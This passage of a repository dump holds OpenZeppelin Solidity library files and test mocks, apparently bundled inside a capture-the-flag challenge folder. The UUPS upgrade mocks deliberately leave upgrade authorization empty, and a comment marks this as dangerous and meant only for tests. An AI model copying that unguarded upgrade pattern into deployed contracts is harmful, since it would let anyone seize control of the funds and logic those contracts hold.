(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1)); 30 | require(success, "ReentrancyMock: failed call"); 31 | } 32 | } 33 | 34 | function countAndCall(ReentrancyAttack attacker) public nonReentrant { 35 | _count(); 36 | bytes4 func = bytes4(keccak256("callback()")); 37 | attacker.callSender(func); 38 | } 39 | 40 | function _count() private { 41 | counter += 1; 42 | } 43 | 44 | function guardedCheckEntered() public nonReentrant { 45 | require(_reentrancyGuardEntered()); 46 | } 47 | 48 | function unguardedCheckNotEntered() public view { 49 | require(!_reentrancyGuardEntered()); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/RegressionImplementation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../proxy/utils/Initializable.sol"; 6 | 7 | contract Implementation1 is Initializable { 8 | uint256 internal _value; 9 | 10 | function initialize() public initializer {} 11 | 12 | function setValue(uint256 _number) public { 13 | _value = _number; 14 | } 15 | } 16 | 17 | contract Implementation2 is Initializable { 18 | uint256 internal _value; 19 | 20 | function initialize() public initializer {} 21 | 22 | function setValue(uint256 _number) public { 23 | _value = _number; 24 | } 25 | 26 | function getValue() public view returns (uint256) { 27 | return _value; 28 | } 29 | } 30 | 31 | contract Implementation3 is Initializable { 32 | uint256 internal _value; 33 | 34 | function initialize() public initializer {} 35 | 36 | function setValue(uint256 _number) public { 37 | _value = _number; 38 | } 39 | 40 | function getValue(uint256 _number) public view returns (uint256) { 41 | return _value + _number; 42 | } 43 | } 44 | 45 | contract Implementation4 is Initializable { 46 | uint256 internal _value; 47 | 48 | function initialize() public initializer {} 49 | 50 | function setValue(uint256 _number) public { 51 | _value = _number; 52 | } 53 | 54 | function getValue() public view returns (uint256) { 55 | return _value; 56 | } 57 | 58 | fallback() external { 59 | _value = 1; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/SignatureCheckerMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/cryptography/SignatureChecker.sol"; 6 | 7 | contract SignatureCheckerMock { 8 | using SignatureChecker for address; 9 | 10 | function isValidSignatureNow(address signer, bytes32 hash, bytes memory signature) public view returns (bool) { 11 | return signer.isValidSignatureNow(hash, signature); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/SignedMathMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/math/SignedMath.sol"; 6 | 7 | contract SignedMathMock { 8 | function max(int256 a, int256 b) public pure returns (int256) { 9 | return SignedMath.max(a, b); 10 | } 11 | 12 | function min(int256 a, int256 b) public pure returns (int256) { 13 | return SignedMath.min(a, b); 14 | } 15 | 16 | function average(int256 a, int256 b) public pure returns (int256) { 17 | return SignedMath.average(a, b); 18 | } 19 | 20 | function abs(int256 n) public pure returns (uint256) { 21 | return SignedMath.abs(n); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/SignedSafeMathMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/math/SignedSafeMath.sol"; 6 | 7 | contract SignedSafeMathMock { 8 | function mul(int256 a, int256 b) public pure returns (int256) { 9 | return SignedSafeMath.mul(a, b); 10 | } 11 | 12 | function div(int256 a, int256 b) public pure returns (int256) { 13 | return SignedSafeMath.div(a, b); 14 | } 15 | 16 | function sub(int256 a, int256 b) public pure returns (int256) { 17 | return SignedSafeMath.sub(a, b); 18 | } 19 | 20 | function add(int256 a, int256 b) public pure returns (int256) { 21 | return SignedSafeMath.add(a, b); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/SingleInheritanceInitializableMocks.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../proxy/utils/Initializable.sol"; 6 | 7 | /** 8 | * @title MigratableMockV1 9 | * @dev This contract is a mock to test initializable functionality through migrations 10 | */ 11 | contract MigratableMockV1 is Initializable { 12 | uint256 public x; 13 | 14 | function initialize(uint256 value) public payable initializer { 15 | x = value; 16 | } 17 | } 18 | 19 | /** 20 | * @title MigratableMockV2 21 | * @dev This contract is a mock to test migratable functionality with params 22 | */ 23 | contract MigratableMockV2 is MigratableMockV1 { 24 | bool internal _migratedV2; 25 | uint256 public y; 26 | 27 | function migrate(uint256 value, uint256 anotherValue) public payable { 28 | require(!_migratedV2); 29 | x = value; 30 | y = anotherValue; 31 | _migratedV2 = true; 32 | } 33 | } 34 | 35 | /** 36 | * @title MigratableMockV3 37 | * @dev This contract is a mock to test migratable functionality without params 38 | */ 39 | contract MigratableMockV3 is MigratableMockV2 { 40 | bool internal _migratedV3; 41 | 42 | function migrate() public payable { 43 | require(!_migratedV3); 44 | uint256 oldX = x; 45 | x = y; 46 | y = oldX; 47 | _migratedV3 = true; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/StorageSlotMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/StorageSlot.sol"; 6 | 7 | contract StorageSlotMock { 8 | using StorageSlot for bytes32; 9 | 10 | function setBoolean(bytes32 slot, bool value) public { 11 | slot.getBooleanSlot().value = value; 12 | } 13 | 14 | function setAddress(bytes32 slot, address value) public { 15 | slot.getAddressSlot().value = value; 16 | } 17 | 18 | function setBytes32(bytes32 slot, bytes32 value) public { 19 | slot.getBytes32Slot().value = value; 20 | } 21 | 22 | function setUint256(bytes32 slot, uint256 value) public { 23 | slot.getUint256Slot().value = value; 24 | } 25 | 26 | function getBoolean(bytes32 slot) public view returns (bool) { 27 | return slot.getBooleanSlot().value; 28 | } 29 | 30 | function getAddress(bytes32 slot) public view returns (address) { 31 | return slot.getAddressSlot().value; 32 | } 33 | 34 | function getBytes32(bytes32 slot) public view returns (bytes32) { 35 | return slot.getBytes32Slot().value; 36 | } 37 | 38 | function getUint256(bytes32 slot) public view returns (uint256) { 39 | return slot.getUint256Slot().value; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/StringsMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Strings.sol"; 6 | 7 | contract StringsMock { 8 | function toString(uint256 value) public pure returns (string memory) { 9 | return Strings.toString(value); 10 | } 11 | 12 | function toHexString(uint256 value) public pure returns (string memory) { 13 | return Strings.toHexString(value); 14 | } 15 | 16 | function toHexString(uint256 value, uint256 length) public pure returns (string memory) { 17 | return Strings.toHexString(value, length); 18 | } 19 | 20 | function toHexString(address addr) public pure returns (string memory) { 21 | return Strings.toHexString(addr); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/TimersBlockNumberImpl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Timers.sol"; 6 | 7 | contract TimersBlockNumberImpl { 8 | using Timers for Timers.BlockNumber; 9 | 10 | Timers.BlockNumber private _timer; 11 | 12 | function getDeadline() public view returns (uint64) { 13 | return _timer.getDeadline(); 14 | } 15 | 16 | function setDeadline(uint64 timestamp) public { 17 | _timer.setDeadline(timestamp); 18 | } 19 | 20 | function reset() public { 21 | _timer.reset(); 22 | } 23 | 24 | function isUnset() public view returns (bool) { 25 | return _timer.isUnset(); 26 | } 27 | 28 | function isStarted() public view returns (bool) { 29 | return _timer.isStarted(); 30 | } 31 | 32 | function isPending() public view returns (bool) { 33 | return _timer.isPending(); 34 | } 35 | 36 | function isExpired() public view returns (bool) { 37 | return _timer.isExpired(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/TimersTimestampImpl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Timers.sol"; 6 | 7 | contract TimersTimestampImpl { 8 | using Timers for Timers.Timestamp; 9 | 10 | Timers.Timestamp private _timer; 11 | 12 | function getDeadline() public view returns (uint64) { 13 | return _timer.getDeadline(); 14 | } 15 | 16 | function setDeadline(uint64 timestamp) public { 17 | _timer.setDeadline(timestamp); 18 | } 19 | 20 | function reset() public { 21 | _timer.reset(); 22 | } 23 | 24 | function isUnset() public view returns (bool) { 25 | return _timer.isUnset(); 26 | } 27 | 28 | function isStarted() public view returns (bool) { 29 | return _timer.isStarted(); 30 | } 31 | 32 | function isPending() public view returns (bool) { 33 | return _timer.isPending(); 34 | } 35 | 36 | function isExpired() public view returns (bool) { 37 | return _timer.isExpired(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/UUPS/UUPSUpgradeableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../CountersImpl.sol"; 6 | import "../../proxy/utils/UUPSUpgradeable.sol"; 7 | 8 | contract UUPSUpgradeableMock is CountersImpl, UUPSUpgradeable { 9 | // Not having any checks in this function is dangerous! Do not do this outside tests! 10 | function _authorizeUpgrade(address) internal override {} 11 | } 12 | 13 | contract UUPSUpgradeableUnsafeMock is UUPSUpgradeableMock { 14 | function upgradeTo(address newImplementation) external override { 15 | ERC1967Upgrade._upgradeToAndCall(newImplementation, bytes(""), false); 16 | } 17 | 18 | function upgradeToAndCall(address newImplementation, bytes memory data) external payable override { 19 | ERC1967Upgrade._upgradeToAndCall(newImplementation, data, false); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/VotesMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../governance/utils/Votes.sol"; 6 | 7 | contract VotesMock is Votes { 8 | mapping(address => uint256) private _balances; 9 | mapping(uint256 => address) private _owners; 10 | 11 | constructor(string memory name) EIP712(name, "1") {} 12 | 13 | function getTotalSupply() public view returns (uint256) { 14 | return _getTotalSupply(); 15 | } 16 | 17 | function delegate(address account, address newDelegation) public { 18 | return _delegate(account, newDelegation); 19 | } 20 | 21 | function _getVotingUnits(address account) internal view override returns (uint256) { 22 | return _balances[account]; 23 | } 24 | 25 | function mint(address account, uint256 voteId) external { 26 | _balances[account] += 1; 27 | _owners[voteId] = account; 28 | _transferVotingUnits(address(0), account, 1); 29 | } 30 | 31 | function burn(uint256 voteId) external { 32 | address owner = _owners[voteId]; 33 | _balances[owner] -= 1; 34 | _transferVotingUnits(owner, address(0), 1); 35 | } 36 | 37 | function getChainId() external view returns (uint256) { 38 | return block.chainid; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/proxy/ERC1967/ERC1967Proxy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Proxy.sol"; 7 | import "./ERC1967Upgrade.sol"; 8 | 9 | /** 10 | * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an 11 | * implementation address that can be changed. This address is stored in storage in the location specified by 12 | * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the 13 | * implementation behind the proxy. 14 | */ 15 | contract ERC1967Proxy is Proxy, ERC1967Upgrade { 16 | /** 17 | * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. 18 | * 19 | * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded 20 | * function call, and allows initializing the storage of the proxy like a Solidity constructor. 21 | */ 22 | constructor(address _logic, bytes memory _data) payable { 23 | _upgradeToAndCall(_logic, _data, false); 24 | } 25 | 26 | /** 27 | * @dev Returns the current implementation address. 28 | */ 29 | function _implementation() internal view virtual override returns (address impl) { 30 | return ERC1967Upgrade._getImplementation(); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/proxy/beacon/IBeacon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev This is the interface that {BeaconProxy} expects of its beacon. 8 | */ 9 | interface IBeacon { 10 | /** 11 | * @dev Must return an address that can be used as a delegate call target. 12 | * 13 | * {BeaconProxy} will check that this address is a contract. 14 | */ 15 | function implementation() external view returns (address); 16 | } 17 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/security/README.adoc: -------------------------------------------------------------------------------- 1 | = Security 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/security 5 | 6 | These contracts aim to cover common security practices. 7 | 8 | * {PullPayment}: A pattern that can be used to avoid reentrancy attacks. 9 | * {ReentrancyGuard}: A modifier that can prevent reentrancy during certain functions. 10 | * {Pausable}: A common emergency response mechanism that can pause functionality while a remediation is pending. 11 | 12 | TIP: For an overview on reentrancy and the possible mechanisms to prevent it, read our article https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. 13 | 14 | == Contracts 15 | 16 | {{PullPayment}} 17 | 18 | {{ReentrancyGuard}} 19 | 20 | {{Pausable}} 21 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/extensions/ERC1155Burnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC1155/extensions/ERC1155Burnable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC1155.sol"; 7 | 8 | /** 9 | * @dev Extension of {ERC1155} that allows token holders to destroy both their 10 | * own tokens and those that they have been approved to use. 11 | * 12 | * _Available since v3.1._ 13 | */ 14 | abstract contract ERC1155Burnable is ERC1155 { 15 | function burn(address account, uint256 id, uint256 value) public virtual { 16 | require( 17 | account == _msgSender() || isApprovedForAll(account, _msgSender()), 18 | "ERC1155: caller is not token owner or approved" 19 | ); 20 | 21 | _burn(account, id, value); 22 | } 23 | 24 | function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual { 25 | require( 26 | account == _msgSender() || isApprovedForAll(account, _msgSender()), 27 | "ERC1155: caller is not token owner or approved" 28 | ); 29 | 30 | _burnBatch(account, ids, values); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/extensions/ERC1155Pausable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC1155.sol"; 7 | import "../../../security/Pausable.sol"; 8 | 9 | /** 10 | * @dev ERC1155 token with pausable token transfers, minting and burning. 11 | * 12 | * Useful for scenarios such as preventing trades until the end of an evaluation 13 | * period, or having an emergency switch for freezing all token transfers in the 14 | * event of a large bug. 15 | * 16 | * _Available since v3.1._ 17 | */ 18 | abstract contract ERC1155Pausable is ERC1155, Pausable { 19 | /** 20 | * @dev See {ERC1155-_beforeTokenTransfer}. 21 | * 22 | * Requirements: 23 | * 24 | * - the contract must not be paused. 25 | */ 26 | function _beforeTokenTransfer( 27 | address operator, 28 | address from, 29 | address to, 30 | uint256[] memory ids, 31 | uint256[] memory amounts, 32 | bytes memory data 33 | ) internal virtual override { 34 | super._beforeTokenTransfer(operator, from, to, ids, amounts, data); 35 | 36 | require(!paused(), "ERC1155Pausable: token transfer while paused"); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC1155.sol"; 7 | 8 | /** 9 | * @dev Interface of the optional ERC1155MetadataExtension interface, as defined 10 | * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. 11 | * 12 | * _Available since v3.1._ 13 | */ 14 | interface IERC1155MetadataURI is IERC1155 { 15 | /** 16 | * @dev Returns the URI for token type `id`. 17 | * 18 | * If the `\{id\}` substring is present in the URI, it must be replaced by 19 | * clients with the actual token type ID. 20 | */ 21 | function uri(uint256 id) external view returns (string memory); 22 | } 23 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/presets/README.md: -------------------------------------------------------------------------------- 1 | Contract presets are now deprecated in favor of [Contracts Wizard](https://wizard.openzeppelin.com/) as a more powerful alternative. 2 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/utils/ERC1155Holder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/utils/ERC1155Holder.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./ERC1155Receiver.sol"; 7 | 8 | /** 9 | * Simple implementation of `ERC1155Receiver` that will allow a contract to hold ERC1155 tokens. 10 | * 11 | * IMPORTANT: When inheriting this contract, you must include a way to use the received tokens, otherwise they will be 12 | * stuck. 13 | * 14 | * @dev _Available since v3.1._ 15 | */ 16 | contract ERC1155Holder is ERC1155Receiver { 17 | function onERC1155Received( 18 | address, 19 | address, 20 | uint256, 21 | uint256, 22 | bytes memory 23 | ) public virtual override returns (bytes4) { 24 | return this.onERC1155Received.selector; 25 | } 26 | 27 | function onERC1155BatchReceived( 28 | address, 29 | address, 30 | uint256[] memory, 31 | uint256[] memory, 32 | bytes memory 33 | ) public virtual override returns (bytes4) { 34 | return this.onERC1155BatchReceived.selector; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC1155/utils/ERC1155Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC1155Receiver.sol"; 7 | import "../../../utils/introspection/ERC165.sol"; 8 | 9 | /** 10 | * @dev _Available since v3.1._ 11 | */ 12 | abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { 13 | /** 14 | * @dev See {IERC165-supportsInterface}. 15 | */ 16 | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { 17 | return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/ERC20Burnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC20.sol"; 7 | import "../../../utils/Context.sol"; 8 | 9 | /** 10 | * @dev Extension of {ERC20} that allows token holders to destroy both their own 11 | * tokens and those that they have an allowance for, in a way that can be 12 | * recognized off-chain (via event analysis). 13 | */ 14 | abstract contract ERC20Burnable is Context, ERC20 { 15 | /** 16 | * @dev Destroys `amount` tokens from the caller. 17 | * 18 | * See {ERC20-_burn}. 19 | */ 20 | function burn(uint256 amount) public virtual { 21 | _burn(_msgSender(), amount); 22 | } 23 | 24 | /** 25 | * @dev Destroys `amount` tokens from `account`, deducting from the caller's 26 | * allowance. 27 | * 28 | * See {ERC20-_burn} and {ERC20-allowance}. 29 | * 30 | * Requirements: 31 | * 32 | * - the caller must have allowance for ``accounts``'s tokens of at least 33 | * `amount`. 34 | */ 35 | function burnFrom(address account, uint256 amount) public virtual { 36 | _spendAllowance(account, _msgSender(), amount); 37 | _burn(account, amount); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/ERC20Capped.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC20.sol"; 7 | 8 | /** 9 | * @dev Extension of {ERC20} that adds a cap to the supply of tokens. 10 | */ 11 | abstract contract ERC20Capped is ERC20 { 12 | uint256 private immutable _cap; 13 | 14 | /** 15 | * @dev Sets the value of the `cap`. This value is immutable, it can only be 16 | * set once during construction. 17 | */ 18 | constructor(uint256 cap_) { 19 | require(cap_ > 0, "ERC20Capped: cap is 0"); 20 | _cap = cap_; 21 | } 22 | 23 | /** 24 | * @dev Returns the cap on the token's total supply. 25 | */ 26 | function cap() public view virtual returns (uint256) { 27 | return _cap; 28 | } 29 | 30 | /** 31 | * @dev See {ERC20-_mint}. 32 | */ 33 | function _mint(address account, uint256 amount) internal virtual override { 34 | require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); 35 | super._mint(account, amount); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/ERC20Pausable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC20.sol"; 7 | import "../../../security/Pausable.sol"; 8 | 9 | /** 10 | * @dev ERC20 token with pausable token transfers, minting and burning. 11 | * 12 | * Useful for scenarios such as preventing trades until the end of an evaluation 13 | * period, or having an emergency switch for freezing all token transfers in the 14 | * event of a large bug. 15 | */ 16 | abstract contract ERC20Pausable is ERC20, Pausable { 17 | /** 18 | * @dev See {ERC20-_beforeTokenTransfer}. 19 | * 20 | * Requirements: 21 | * 22 | * - the contract must not be paused. 23 | */ 24 | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { 25 | super._beforeTokenTransfer(from, to, amount); 26 | 27 | require(!paused(), "ERC20Pausable: token transfer while paused"); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/IERC20Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC20.sol"; 7 | 8 | /** 9 | * @dev Interface for the optional metadata functions from the ERC20 standard. 10 | * 11 | * _Available since v4.1._ 12 | */ 13 | interface IERC20Metadata is IERC20 { 14 | /** 15 | * @dev Returns the name of the token. 16 | */ 17 | function name() external view returns (string memory); 18 | 19 | /** 20 | * @dev Returns the symbol of the token. 21 | */ 22 | function symbol() external view returns (string memory); 23 | 24 | /** 25 | * @dev Returns the decimals places of the token. 26 | */ 27 | function decimals() external view returns (uint8); 28 | } 29 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/draft-ERC20Permit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/extensions/draft-ERC20Permit.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | // EIP-2612 is Final as of 2022-11-01. This file is deprecated. 7 | 8 | import "./ERC20Permit.sol"; 9 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/extensions/draft-IERC20Permit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | // EIP-2612 is Final as of 2022-11-01. This file is deprecated. 6 | 7 | import "./IERC20Permit.sol"; 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/presets/ERC20PresetFixedSupply.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | import "../extensions/ERC20Burnable.sol"; 6 | 7 | /** 8 | * @dev {ERC20} token, including: 9 | * 10 | * - Preminted initial supply 11 | * - Ability for holders to burn (destroy) their tokens 12 | * - No access control mechanism (for minting/pausing) and hence no governance 13 | * 14 | * This contract uses {ERC20Burnable} to include burn capabilities - head to 15 | * its documentation for details. 16 | * 17 | * _Available since v3.4._ 18 | * 19 | * _Deprecated in favor of https://wizard.openzeppelin.com/[Contracts Wizard]._ 20 | */ 21 | contract ERC20PresetFixedSupply is ERC20Burnable { 22 | /** 23 | * @dev Mints `initialSupply` amount of token and transfers them to `owner`. 24 | * 25 | * See {ERC20-constructor}. 26 | */ 27 | constructor(string memory name, string memory symbol, uint256 initialSupply, address owner) ERC20(name, symbol) { 28 | _mint(owner, initialSupply); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC20/presets/README.md: -------------------------------------------------------------------------------- 1 | Contract presets are now deprecated in favor of [Contracts Wizard](https://wizard.openzeppelin.com/) as a more powerful alternative. 2 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/IERC721Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @title ERC721 token receiver interface 8 | * @dev Interface for any contract that wants to support safeTransfers 9 | * from ERC721 asset contracts. 10 | */ 11 | interface IERC721Receiver { 12 | /** 13 | * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} 14 | * by `operator` from `from`, this function is called. 15 | * 16 | * It must return its Solidity selector to confirm the token transfer. 17 | * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. 18 | * 19 | * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. 20 | */ 21 | function onERC721Received( 22 | address operator, 23 | address from, 24 | uint256 tokenId, 25 | bytes calldata data 26 | ) external returns (bytes4); 27 | } 28 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/ERC721Burnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../../utils/Context.sol"; 8 | 9 | /** 10 | * @title ERC721 Burnable Token 11 | * @dev ERC721 Token that can be burned (destroyed). 12 | */ 13 | abstract contract ERC721Burnable is Context, ERC721 { 14 | /** 15 | * @dev Burns `tokenId`. See {ERC721-_burn}. 16 | * 17 | * Requirements: 18 | * 19 | * - The caller must own `tokenId` or be an approved operator. 20 | */ 21 | function burn(uint256 tokenId) public virtual { 22 | //solhint-disable-next-line max-line-length 23 | require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved"); 24 | _burn(tokenId); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/ERC721Pausable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Pausable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../../security/Pausable.sol"; 8 | 9 | /** 10 | * @dev ERC721 token with pausable token transfers, minting and burning. 11 | * 12 | * Useful for scenarios such as preventing trades until the end of an evaluation 13 | * period, or having an emergency switch for freezing all token transfers in the 14 | * event of a large bug. 15 | */ 16 | abstract contract ERC721Pausable is ERC721, Pausable { 17 | /** 18 | * @dev See {ERC721-_beforeTokenTransfer}. 19 | * 20 | * Requirements: 21 | * 22 | * - the contract must not be paused. 23 | */ 24 | function _beforeTokenTransfer( 25 | address from, 26 | address to, 27 | uint256 firstTokenId, 28 | uint256 batchSize 29 | ) internal virtual override { 30 | super._beforeTokenTransfer(from, to, firstTokenId, batchSize); 31 | 32 | require(!paused(), "ERC721Pausable: token transfer while paused"); 33 | } 34 | } 35 | 